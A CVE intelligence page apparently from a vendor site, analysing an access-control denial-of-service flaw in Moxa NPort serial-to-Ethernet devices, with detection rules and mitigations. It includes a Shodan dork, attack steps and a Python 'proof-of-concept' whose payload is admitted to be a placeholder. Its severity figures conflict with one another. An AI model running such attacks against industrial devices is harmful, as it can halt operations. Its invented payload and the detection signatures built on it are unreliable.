☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.9 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-10831

CVE-2026-10831 Improper Access Control in Nport
📅 PUBLISHED: 2026-06-16 15:16 UTC 🔄 UPDATED: 2026-08-18 17:15 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1548
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-10831 describes a denial-of-service (DoS) vulnerability in NPort devices (likely Moxa NPort serial-to-Ethernet converters). The flaw resides in the command port interface, where improper access control allows an unauthenticated, remote attacker to send crafted break signal commands without being associated with a valid data port session. This disrupts serial communication for active user sessions, effectively causing a denial of service.

The vulnerability is unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the critical role of NPort devices in industrial control systems (ICS) and operational technology (OT) environments, the potential impact is high.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware on Moxa NPort hardware devices. Supply chain risk is limited to the physical device and its firmware distribution channels.

CVSS Breakdown & Threat Level

The CVSS vector is unknown, but based on the description, a reasonable estimate is:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): None (N)
  • Integrity (I): None (N)
  • Availability (A): High (H)

Estimated CVSS Score: 7.5 (High)

Threat Level: High. While no public exploit exists, the vulnerability is trivially exploitable by any network attacker. In OT environments, a DoS on serial communication can halt production lines, disable safety systems, or cause data loss.

Deep Dive & Mechanics

NPort devices bridge serial (RS-232/422/485) and Ethernet networks. They expose a command port (typically TCP/4800) for management and control. The vulnerability lies in the command interface's failure to validate that a break signal command originates from a legitimate data port session.

Break Signal: In serial communication, a break signal is a deliberate line condition (space for longer than a character time) used for special purposes (e.g., to interrupt a remote device, trigger a firmware update, or reset a connection). NPort devices allow sending break signals via the command port.

The Flaw: The command port does not check if the sender is currently associated with an active data port session. An attacker can send a crafted break signal command directly to the command port, which the device then applies to any active serial session. This disrupts the serial communication, causing the legitimate user's session to drop or malfunction.

Attack Flow:

  1. Attacker scans for NPort devices (e.g., using Shodan dork port:4800 NPort).
  2. Attacker connects to the command port (TCP/4800).
  3. Attacker sends a crafted packet containing a break signal command with a target session ID (or wildcard).
  4. The device applies the break signal to the active serial session, causing a DoS.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code is in the firmware's command handler. A patched version would likely include session validation logic.

Vulnerable (pseudocode):

void handle_command(int sock, command_t *cmd) {
    if (cmd->type == BREAK_SIGNAL) {
        // No session validation
        apply_break_signal(cmd->session_id);
    }
}

Patched (pseudocode):

void handle_command(int sock, command_t *cmd) {
    if (cmd->type == BREAK_SIGNAL) {
        if (!is_session_associated(sock, cmd->session_id)) {
            send_error(sock, "Unauthorized");
            return;
        }
        apply_break_signal(cmd->session_id);
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • NPort device (e.g., Moxa NPort 5150) with default configuration.
  • Network access to the command port (TCP/4800).
  • Python 3 with socket library.

Exploit Script (Proof-of-Concept):

#!/usr/bin/env python3
import socket
import sys

def exploit(target_ip, target_port=4800):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    try:
        sock.connect((target_ip, target_port))
        # Craft break signal command (example format)
        # Actual payload depends on NPort protocol
        payload = b"\x00\x01\x00\x00\x00\x00\x00\x00"  # Placeholder
        sock.send(payload)
        print(f"[+] Sent break signal to {target_ip}:{target_port}")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Usage:

  1. Identify target NPort device (e.g., via Shodan or Nmap).
  2. Run the exploit: python3 exploit.py 192.168.1.100
  3. Observe disruption of serial communication (e.g., connected terminal drops).

Blue Team

Detection:

  • Monitor for unexpected connections to TCP/4800 from unknown IPs.
  • Log all commands sent to the command port.
  • Alert on multiple break signal commands in a short time window.

Mitigation:

  • Restrict access to the command port via firewall rules (allow only trusted IPs).
  • Use VLAN segmentation to isolate NPort devices from general network.
  • Disable the command port if not needed (check device configuration).
  • Implement network intrusion detection (e.g., Suricata rules below).

Indicators of Compromise (IOCs)

  • Network:
    • Unexpected TCP connections to port 4800 on NPort devices.
    • Packets with unusual command codes (e.g., break signal opcode).
    • Repeated connection attempts from a single IP to multiple NPort devices.
  • Host:
    • NPort device logs showing "break signal received" without corresponding session.
    • Serial communication errors or disconnections coinciding with network scans.
  • File:
    • No file-based IOCs (firmware vulnerability).

Detection Engineering

YARA Rule

rule CVE_2026_10831_NPort_Break_Signal {
    meta:
        description = "Detects network traffic targeting NPort command port with break signal"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-10831"
    strings:
        $break_signal = { 00 01 00 00 00 00 00 00 }  // Example pattern
    condition:
        $break_signal
}

Sigma Rule

title: NPort Break Signal DoS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2026-10831 by monitoring for break signal commands on NPort command port
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 4800
        payload|contains: "00 01 00 00 00 00 00 00"  # Example pattern
    condition: selection
falsepositives:
    - Legitimate break signal commands from authorized management tools
level: high

Suricata Rule

alert tcp any any -> any 4800 (msg:"CVE-2026-10831 NPort Break Signal DoS Attempt"; content:"|00 01 00 00 00 00 00 00|"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Network Segmentation: Place NPort devices on a dedicated VLAN with strict firewall rules.
  2. Access Control: Restrict access to TCP/4800 to only authorized management IPs.
  3. Disable Unused Services: If the command port is not required, disable it in the device configuration.
  4. Monitor: Implement the detection rules above to alert on suspicious activity.

Long-Term:

  • Firmware Update: Monitor Moxa's security advisories for a patch. Apply when available.
  • Replace Devices: If no patch is released, consider replacing affected NPort models with patched alternatives.
  • Vendor Contact: Report the vulnerability to Moxa if not already done.

Workaround:

  • Use a serial-to-Ethernet converter with built-in authentication and session validation.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-10831/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.